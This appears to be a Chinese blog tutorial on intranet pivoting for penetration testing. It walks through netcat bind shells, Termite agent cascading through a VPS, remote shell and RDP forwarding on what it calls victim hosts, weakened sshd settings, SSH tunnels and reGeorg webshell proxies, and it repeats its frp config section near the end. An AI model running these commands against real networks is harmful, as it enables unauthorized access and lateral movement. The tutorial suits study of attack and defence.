内网代理穿透

实现内网穿透的工具有很多,如Earthworm,Termite,reGeorg,nps等,此处主要介绍Termite对模拟内网进行操作,Termite 是EW(EarthWorm)的最新版

1.nc工具使用

windows中使用nc,需要安装nc.exe

靶机

nc.exe -l -p 4444 -t -e cmd.exe

攻击机

nc.exe 192.168.1.1 4444

linux中使用nc,见工具使用栏中的netcat使用博客

2.termite使用

​ 一款极度小巧灵活的跳板机,有别于传统socks代理,它对于复杂内网环境下的渗透适用性更强,操作也极为简便。Termite是一款内网穿透利器,分为管理端admin和代理端agent。它支持多平台、跳板机间正反向级联、内置shell管理等

-| 指定本地socks端口,等待远程连
-C 指定远程socks机器ip
-p 指定远程socks机器端口
不同场景使用方式:

1.目标在公网中:

目标A:agent_win32.exe -l 8888 

攻击PC:admin_win32.exe -c 目标ip -p 8888

2.目标在内网,但能连外网

在vps运行:agent_win32.exe -l 8888 

在攻击PC运行:admin_win32.exe -c vps_ip -p 8888 

在靶机运行:agent_win32.exe -c vps_ip -p 8888

vps:虚拟专用服务器

3.目标在内网,不能连外网,但可通过vnet1访问

在这里插入图片描述

agent间正向连接

vnet2:
agent_windows_x86.exe -l 8888

vnet1:
agent_windows_x86.exe -l 7777

桥接:
agent_windows_x86.exe -l 6666

攻击机:

admin_windows_x86.exe -c 192.168.1.144 -p 6666
goto 1
connect 192.168.1.128 7777
goto 2
connect 192.168.10.2 8888
goto 3
shell 4444  #将vnet2的cmd转发到本地的4444端口
nc 127.0.0.1 4444

agent间反向连接

桥接:
agent_windows_x86.exe -l 6666

vnet1:
agent_windows_x86.exe -l 7777

vnet2:
agent_windows_x86.exe 192.168.10.1 -p 7777

vnet1(新开一个cmd):
agent_windows_x86.exe -c 192.168.1.144 -p 6666

攻击机:
admin_windows_x86.exe -c 10.86.64.236 -p 6666

其他常用功能:

1.sockets代理

goto 对应id
socks 4444

goto 2    将当前被管理节点切换为 2 号节点。
socks 4444   此时,本地4444 端口会启动个监听服务,而服务提供者为2号节点。

2.shell管理

shell 4444
nc -v 127.0.0.1 4444

goto 1
shell 4444     此时,通过nc本地的 4444 端口,就可以得到一个 1 节点提供的 shell.

3.端口转发

lcxtran 本地端口 目标ip 目标端口
goto 2 
lcxtran 3388 10.0.0.1 3389    以2号节点为跳板,将 10.0.0.1 的 3389 端口映射至本地的 3388 端口

4.上传和下载文件

upfile 本地文件路径 目标路径
goto 2
upfile 2.txt 3.txt    将本地的 2.txt 上传至 2号节点的目录,并命名为3.txt

downfile 目标文件路径 本地存放路径
goto 1
downfile 1.txt 2.txt    将1 节点,目录下的 1.txt 下载至本地,并命名为2.txt

3.ssh

1、本地端口转发(跳板机有外网和内网地址)

跳板机配置

vim /etc/ssh/sshd_config 			//SSH配置文件
AllowAgentForwarding yes            //是否允许转发TCP协议
GatewayPorts yes                    //是否允许远程主机连接本地转发端口
PermitRootLogin yes                 //是否允许root用户登陆
PasswordAuthentication yes          //是否允许使用基于密码的认证
TCPKeepAlive yes                    //保持心跳,防止ssh断开
service ssh restart //开启ssh服务
ssh命令参数:

-C      压缩传输,加快传输速度
-f      将SSH转入后台执行,不占用当前的shell
-N      建立静默连接(建立了连接,但是看不到具体会话)
-g      允许远程主机连接到本地用于转发的端口
-L      本地端口转发
-R      远程端口转发
-D      动态转发(socks代理)
-P      指定SSH端口

攻击机

ssh -CfNg -L 2222:1.1.1.1:3389 root@192.168.1.1     
//将受害机的3389端口转发到本地2222端口,1.1.1.1是受害机,192.168.1.1跳板机

rdesktop 127.0.0.1:2222      //访问本地2222端口,就是访问受害机的3389端口

2、远程端口转发(跳板机没有外网地址,但是可以访问外网)

跳板机

ssh -R 3307:1.1.1.1:3389 root@192.168.1.9 //1.1.1.1是受害机,192.168.1.9是攻击机

攻击机

rdesktop 127.0.0.1:3307

3、动态端口转发(跳板机有外网地址,有内网)

ssh -D 7000 root@192.168.1.1 //攻击机与跳板机建立隧道,192.168.1.1是跳板机,root是跳板机的用户名

可以使用127.0.0.1 7000做代理访问内网服务

4.其他工具使用

reGeorg 工具地址:

 https://github.com/sensepost/reGeorg

reGeorg 是 reDuh 的升级版,主要是把内网服务器的端口通过 http/https 隧道转发到本机,形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用 webshell 建立一个 socks 代理进行内网穿透,服务器必须支持 aspx、php 或 jsp 这些 web 程序中的一种

sSocks 工具地址:

http://sourceforge.net/projects/ssocks/

sSocks是一个socks代理工具套装,可用来开启socks代理服务,支持socks5验证,支持IPV6和UDP,并提供反向socks代理服务,即将远程计算机作为socks代理服务端,反弹回本地,极大方便内网的渗透测试,其最新版为0.0.14

frp 内网穿透利器

frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp, http, https 协议。

工具地址:

https://github.com/fatedier/frp

利用处于内网或防火墙后的机器,对外网环境提供 http 或 https 服务。

对于 http, https 服务支持基于域名的虚拟主机,支持自定义域名绑定,使多个域名可以共用一个80端口。

利用处于内网或防火墙后的机器,对外网环境提供 tcp 和 udp 服务,例如在家里通过 ssh 访问处于公司内网环境内的主机。

主要文件介绍:

frpc.exe-----------客户端

frpc.ini------------客户端配置文件

frps.exe------------服务端

frps.ini-------------服务器配置文件

配置也比较简单:

服务端的配置只配置监听端口就可以:

[common]

bind_port = 7000

客户端配置:

[common]

server_addr = 127.0.0.1

server_port = 7000

运行:

服务端运行命令:

.\frps -c ./frps.ini

客户端运行命令:

.\frpc -c ./frpc.ini

还有一些其他工具如

lcx,Ngrok,EW,reGeirg

也比较简单:

服务端的配置只配置监听端口就可以:

[common]

bind_port = 7000

客户端配置:

[common]

server_addr = 127.0.0.1

server_port = 7000

运行:

服务端运行命令:

.\frps -c ./frps.ini

客户端运行命令:

.\frpc -c ./frpc.ini

还有一些其他工具如

lcx,Ngrok,EW,reGeirg

等反向代理工具

Logo

更多推荐